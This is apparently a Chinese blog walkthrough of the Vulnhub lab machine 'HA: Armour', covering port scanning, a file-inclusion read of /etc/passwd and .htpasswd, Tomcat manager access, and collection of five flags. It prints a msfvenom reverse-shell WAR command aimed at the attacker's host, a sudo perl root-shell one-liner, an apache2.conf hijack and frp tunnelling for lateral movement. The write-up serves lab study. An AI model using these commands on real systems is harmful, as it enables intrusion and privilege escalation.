【渗透测试】Vulnhub靶机-HA: Armour-详细通关教程

发布于:2025-04-11 ⋅ 阅读:(36) ⋅ 点赞:(0)

下载地址:https://www.vulnhub.com/entry/ha-armour,370/

目录

前言

信息收集

tftp获取(spiderman)

查看.htpasswd(ant-man)

ssh欢迎信息提示(hulkbuster)

反弹shell

提权(ironman)

代理8081端口(black panther)

思路总结


前言

开始前看到靶机简介,有5个装甲说明,可能是flag命名,另外最后声明有密码是分3份,可能要组合起来登录

若出现靶机无法获取ip情况 → 解决靶机ip问题

本次虚拟机ip:
    kali主机:192.168.4.231
    vulnhub靶机:192.168.4.222

信息收集

tftp获取(spiderman)

1.arp-scan扫到主机后,进行端口扫描,发现有tomcat以及ssh改端口了

2.先进入80页面,只有一堆图片,查看源码发现一个用户名以及notes.txt提示

3.访问/notes.txt没信息,试着进去8009和8080访问也没有,后面仔细看了下源码,有69端口提示,应该指的是udp端口的tftp服务,我们进去下载下来并查看,拿到spiderman的flag

Spiderman Armour:{83A75F0B31435193BAFD3B9C5FD45AEC}

查看.htpasswd(ant-man)

1.回到页面,进行目录扫描,扫到file.php,进入查看,虽然空白但根据经验,应该会有文件包含漏洞,我们试试file参数的,成功爆出/etc/passwd

2.虽然爆出漏洞,但试着查看家用户历史记录、id_rsa和日志,均无回显,后面看了下wp,发现在/etc/apache2/.htpasswd有信息,我们查看下,拿到ant-man的flag

Ant-Man Armour:{A9F56B7ECE2113C9C4A1214A19EDE99C}

ssh欢迎信息提示(hulkbuster)

1.有了hint2和hint3,那hint1在哪?由于80和8080网页都找了下都没有,根据我之前的习惯,看看ssh的欢迎信息有没有提示,结果真有,拿到hulkbuster的flag

HulkBuster Armour:{7BDA7019C06B53AEFC8EE95D2CDACCAA}

反弹shell

1.80页面查看完了,就到8080端口tomcat页面看看

2.点击manager app要登录,根据靶机简介的提示,把上面搜集的hint按顺序拼接好,由于用户是armour,所以拿来登录即可,登录成功

用户名:armour
密码:TheOlympicsmaybeevenaStarBucks

3.看到下面war文件上传,使用以下msfvenom命令生成war反弹shell文件,nc监听后并上传,反弹成功

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.4.231 lport=6666 -f war > tomcat.war

 

提权(ironman)

1.利用python3建立交互式后,使用find查找可利用文件,发现apache2.conf满权限

find / -user root -perm -ug=x,o=w -type f -print 2>/dev/null

2.我们再瞅瞅/var/www/html,发现此目录也是满权限,那么就有利用手段了

3.由于apache2.conf可写,那么里面的user和group为空,也就说可以写入家目录的用户(比如aarti)来指定apache2运行用户和组了,我们试一下,使用scp把apache2.conf传到kali那进行修改

4.进去apache2.conf,大概在117-118写入aarti,保存后靶机将其下载,查看下即可看到aarti

5.进行下一个操作,kali复制php-reverse-shell在当前目录,并修改ip和端口,python建立服务器,靶机下载到/var/www/html即可

7.直接重启靶机,让apache2更新服务,重启后进入80端口页面,url输入/php-reverse-shell.php,成功反弹

8.建立交互式后,使用sudo -l查看下,发现perl可利用

9.使用以下命令提权,提权成功

sudo -u root perl -e 'exec "/bin/bash";'

10.查看root目录下的flag,拿到ironman的flag

IronMan Armour:{3AE9D8799D1BB5E201E5704293BB54EF}

代理8081端口(black panther)

1.虽然提权了但只收集了4个flag,还有一个在哪?有可能在别的端口那,我们用netstat -ant查看下,发现8081端口

2.由于靶机没有curl,这里我直接用frp代理在kali查看,顺便教下没有用过frp代理横向移动的小伙伴,首先到github下载个frp并复制到kali中 → frp 0.22.0下载

3.frpc和frpc.ini是给靶机的,frps和frps.ini是kali的,但不能直接上传,要进行些配置,进入frpc.ini,修改为下图(server_addr是指kali本机)

4.frps.ini要改为下图,即kali通过7000端口开放隧道,frpc给到靶机,靶机用来连接kali的7000端口隧道

5.保存后,python开启服务器,靶机使用wget下载

6.给予frpc权限,注意要先用frps再用frpc,变成下图那样即成功

7.同时kali进入/etc/proxychains4.conf,添加sock5的端口记录,保存退出

8.最后使用带proxychains的命令加上curl,即可看到8081内容,拿到black panther的flag

Black Panther Armour:{690B4BAC6CA9FB81814128A294470F92}

思路总结

这台靶机整体中等偏下,最后8081端口的flag需要进行代理来查看,同时这台靶机也要注重信息收集的关键,否则连69端口的tftp都没注意到,渗透链为:

1.端口扫描后通过源码发现69端口提示notes.txt,进入tftp拿到spidenman的flag

2.通过目录扫描发现file.php,利用文件包含爆出.htpasswd,拿到ant-man的flag

3.通过ssh的欢迎信息,拿到hulkbuster的flag

4.将提示拼在一起成密码,进入8080的tomcat网站,使用armour和拼接的密码拿到后台,上传反弹shell的war文件成功反弹

5.由于/etc/apache2/apache2.conf和/var/www/html可写,添加aarti用户组到apache2.conf,以及上传反弹shell的php文件到/var/www/html,重启靶机成功拿到aarti用户

6.通过sudo的perl,成功提权,拿到ironman的flag,最后利用frp代理,查看8081端口网页,拿到black panther的flag

Spiderman Armour:{83A75F0B31435193BAFD3B9C5FD45AEC}
Ant-Man Armour:{A9F56B7ECE2113C9C4A1214A19EDE99C
HulkBuster Armour:{7BDA7019C06B53AEFC8EE95D2CDACCAA}
IronMan Armour:{3AE9D8799D1BB5E201E5704293BB54EF}
Black Panther Armour:{690B4BAC6CA9FB81814128A294470F92}

 


网站公告

今日签到

点亮在社区的每一天
去签到